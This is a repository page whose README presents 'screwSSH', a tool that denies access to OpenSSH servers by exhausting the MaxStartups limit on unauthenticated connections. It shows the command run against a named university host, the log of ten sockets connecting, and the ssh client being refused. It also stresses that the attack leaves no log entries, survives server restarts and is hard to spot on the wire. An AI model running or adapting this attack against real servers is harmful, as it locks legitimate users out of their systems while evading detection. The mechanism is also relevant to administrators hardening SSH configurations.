A frighteningly-easy way of denying access to someone's publicly-accessible OpenSSH server in a default configuration. Originally written by Boris Kochergin.
Clone or download
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
Makefile
README.md
screwSSH.cpp

README.md

screwSSH by Boris Kochergin

The Problem

Processes and threads, even when idle, use memory and incur scheduling overhead. While the advent of fast computers with lots of memory and copy-on-write virtual-memory subsystems have helped the problem, it is still possible to cause a system to become unresponsive using some variant of a fork bomb.

Relevance to SSH Servers

The rest of the article will reference OpenSSH specifically, as it is very popular and is open-source.

OpenSSH, like a lot of TCP-enabled server software, spawns a new process using the fork() system call every time a client connects to it. It is important to note that this expenditure of resources occurs when a client merely ''connects'', and has not yet even authenticated. This allows one or more clients to make a bunch of TCP connections to a network-accessible SSH server's TCP port and exhaust the hardware resources of the computer it is running on, or--if the computer has sufficient memory and CPU time to handle it--all of its available TCP sockets.

The Solution

To prevent the above attack, OpenSSH has a ''MaxStartups'' configuration option, which places an upper bound on how many unauthenticated clients may be connected at once. Unfortunately, its default value is quite conservative: 10.

Attacking the Solution

The above solution opens the SSH server to another attack that simply involves exhausting the number of TCP connections unauthenticated clients may use up. The screwSSH program is an implementation of this attack in C and C++ that is known to compile on BSD and GNU/Linux. It spawns one thread per TCP connection. TCP connections that are disconnected are immediately reconnected. Its usage is as follows:

# ./screwSSH howtohack.poly.edu 22 10
[2011-01-25 13:41:09] Socket 1 connected.
[2011-01-25 13:41:09] Socket 2 connected.
[2011-01-25 13:41:09] Socket 3 connected.
[2011-01-25 13:41:09] Socket 4 connected.
[2011-01-25 13:41:09] Socket 5 connected.
[2011-01-25 13:41:09] Socket 6 connected.
[2011-01-25 13:41:09] Socket 7 connected.
[2011-01-25 13:41:09] Socket 8 connected.
[2011-01-25 13:41:09] Socket 9 connected.
[2011-01-25 13:41:09] Socket 10 connected.

At this point, the remote OpenSSH server, in a default configuration, has reached its limit for unauthenticated clients, and will not accept any new ones:

# ssh -v howtohack.poly.edu
OpenSSH_5.6p1 FreeBSD-20101111, OpenSSL 0.9.8q 2 Dec 2010
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Connecting to howtohack.poly.edu [128.238.66.101] port 22.
debug1: Connection established.
debug1: permanently_set_uid: 0/0
debug1: identity file /root/.ssh/id_rsa type -1
debug1: identity file /root/.ssh/id_rsa-cert type -1
debug1: identity file /root/.ssh/id_dsa type -1
debug1: identity file /root/.ssh/id_dsa-cert type -1
ssh_exchange_identification: Connection closed by remote host

In addition to the difficult nature of denial-of-service attacks in general, this one is particularly difficult to deal with for the following reasons:

  • By default, OpenSSH does not write a log entry when the ''MaxStartups'' limit has been reached.
  • Restarting the SSH server has no effect, as disconnected TCP connections are immediately reconnected.
  • It results in just four packets--SYN, SYN/ACK, ACK, and RST (when it is disconnected)--being generated per connection per the configured ''LoginGraceTime'' interval--which defaults to 120 seconds--and is therefore not casually observable on the wire for a small number of connections like 10.